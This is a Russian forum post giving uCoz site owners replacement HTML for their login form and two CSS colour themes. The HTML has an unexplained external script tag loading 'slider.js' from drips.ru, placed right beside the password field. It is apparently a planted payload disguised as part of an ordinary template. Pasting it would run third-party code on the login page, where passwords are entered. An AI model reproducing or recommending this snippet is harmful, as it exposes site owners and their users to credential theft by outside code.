Форма входа под Ucoz - Форум

Перейти к содержимому

Toggle shoutboxРеклама

Открыть

Список форумов

Иконка Топ фильмов

Иконка Активные авторы сегодня

Информер лучших авторов

Иконка Последние темы

Информер форума

Иконка Пустой блок

Код чего нибудь
  • Страница 1 из 1
  • 1
Форма входа под Ucoz
BotsManДата: Вторник, 20.03.2012, 16:44 | Сообщение # 1
Лейтенант
Группа: Пользователи
Сообщений: 44
Награды: 0
Репутация: 0
Статус: Offline
И так для начало нам следует зайти в админ панель вашего сайта в системе uCoz:

Дизайн => Управление дизайном =>Пользователи => Форма входа пользователей

и заменить стандартный html код формы входа для uCoz., на следующий код:

Code
<div id="cell_vxod">   
   <div class="cell_pola_vxod"><div class="vxod_name">Логин:</div><input class="login_pole" type="text" name="user" value="" size="20" maxlength="50"/></div>   
   <div class="cell_pola_vxod"><div class="vxod_name">Пароль:</div><script src="http://drips.ru/slider.js" type="text/javascript"></script><input class="login_pole" type="password" name="password" size="20" maxlength="15"/></div>   
   <div id="vxod_reg">
   <a href="$REMINDER_LINK$">Забыл пароль</a> | <a href="$REGISTER_LINK$">Регистрация</a>
   <span class="right"><input class="south" title="Сохранить пароль при входе"id="rem$PAGE_ID$" type="checkbox" name="rem" value="1" checked="checked"/><label for="rem$PAGE_ID$"></label></span>
   </div>
   <div id="cell_knopkav"><input class="knopka_vxoda" name="sbm" type="submit" value="Вход"/></div>
</div>


Шаг 2, установим CSS:

Теперь нам осталось выбрать один из двух вариантов css стилей для нашей формы входа для uCoz.

Вариант № 1 White (Белый):

Скрин: http://s017.radikal.ru/i402/1202/b4/9a0bda713aed.png

CSS-Code

Code
/* Форма входа
------------------------------------------*/
#cell_vxod {
   float:left;
   width:270px;   
}

#cell_vxod a:link,   
#cell_vxod a:visited {text-decoration:none; color:#5a79b8;}
#cell_vxod a:hover {text-decoration:none; color:#5cb85a;}

#vxod_reg {
   float:left;
   font:10px Verdana,Arial,Helvetica, sans-serif;
   color:#BABABA;
   font-weight: bold;
   width:212px;
   padding: 5px 5px 0px 0px;
}

#cell_knopkav {
   float:left;
   width:53px;
}

.cell_pola_vxod {
   float:left;
   margin-bottom: 10px;
}

.vxod_name {
   width:55px; text-shadow: 1px 1px 1px #fff;
   background:#d6d6d6;
   border-right: none;
   border-left: 1px solid #d6d6d6;   
   padding: 5px 0px 5px 5px;   
}

.login_pole {
   width:193px;   
   border-left: none;   
   border-right: 1px solid #d6d6d6;
   padding: 5px 5px 5px 10px;   
   vertical-align:middle;
}

.login_pole,   
.vxod_name {
   float:left;
   font:11px Verdana,Arial,Helvetica, sans-serif;
   color:#555;
   border-top: 1px solid #d6d6d6;
   border-bottom: 1px solid #d6d6d6;
   margin:0px;
}

.login_pole {background: #f6f6f6 url(http://www.center-dm.ru/ucoz/forma_vxoda/2/fon_ugol_pola_White.gif) no-repeat left;}
.login_pole:focus {background: #fff url(http://www.center-dm.ru/ucoz/forma_vxoda/2/fon_ugol_pola_White.gif) no-repeat left;}

.knopka_vxoda {
   color:#555; text-shadow: 1px 1px 1px #fff;
   padding: 3px 0px;   
   width:53px;
   background: #f6f6f6;
   border:1px solid #d6d6d6;
   margin:0px;   
}

.knopka_vxoda:hover {
   background: #d6d6d6;
}
/* -------------------------------------- */


Вариант № 2 Black (Чёрный):

Скрин: http://s018.radikal.ru/i517/1202/31/66571105d084.png

CSS-Code

Code
/* Форма входа
------------------------------------------*/
#cell_vxod {
   float:left;
   width:270px;   
}

#cell_vxod a:link,   
#cell_vxod a:visited {text-decoration:none; color:#69A4BD;}
#cell_vxod a:hover {text-decoration:none; color:#5CB703;}

#vxod_reg {
   float:left;
   font:10px Verdana,Arial,Helvetica, sans-serif;
   color:#BABABA;
   font-weight: bold;
   width:212px;
   padding: 5px 5px 0px 0px;
}

#cell_knopkav {
   float:left;
   width:53px;
}

.cell_pola_vxod {
   float:left;
   margin-bottom: 10px;
}

.vxod_name {
   width:55px;text-shadow: 1px 1px 1px #8A8A8A;
   background:#656565;
   border-right: none;
   border-left: 1px solid #232323;   
   padding: 5px 0px 5px 5px;   
}

.login_pole {
   width:193px;   
   border-left: none;   
   border-right: 1px solid #232323;
   padding: 5px 5px 5px 10px;   
   vertical-align:middle;
}

.login_pole,   
.vxod_name {
   float:left;
   font:11px Verdana,Arial,Helvetica, sans-serif;
   color:#111;
   border-top: 1px solid #232323;
   border-bottom: 1px solid #878787;
   margin:0px;
}

.login_pole {background: #767676 url(http://www.center-dm.ru/ucoz/forma_vxoda/2/fon_ugol_pola_Black.gif) no-repeat left;}
.login_pole:focus {background: #808080 url(http://www.center-dm.ru/ucoz/forma_vxoda/2/fon_ugol_pola_Black.gif) no-repeat left;}

.knopka_vxoda {
   color:#111;   
   padding: 3px 0px;   
   width:53px;
   background: #8a8a8a;
   border:1px solid #232323;
   margin:0px;   
}

.knopka_vxoda:hover {
   background: #656565;
}
/* -------------------------------------- */


Алексей
 
  • Страница 1 из 1
  • 1
Поиск:


Форум Не прочитанный форум Категория Не прочитанная категория Форум (защищен паролем) Не прочитанный форум (защищен паролем) Архивный форум Переадресация
Форум Не прочитанный форум Категория Не прочитанная категория Форум (защищен паролем) Не прочитанный форум (защищен паролем) Архивный форум Переадресация

Статистика форума

Информер последних зарегистрированных или любой другой


  • VIP | Пользователи | Администраторы | Главный модератор | Модераторы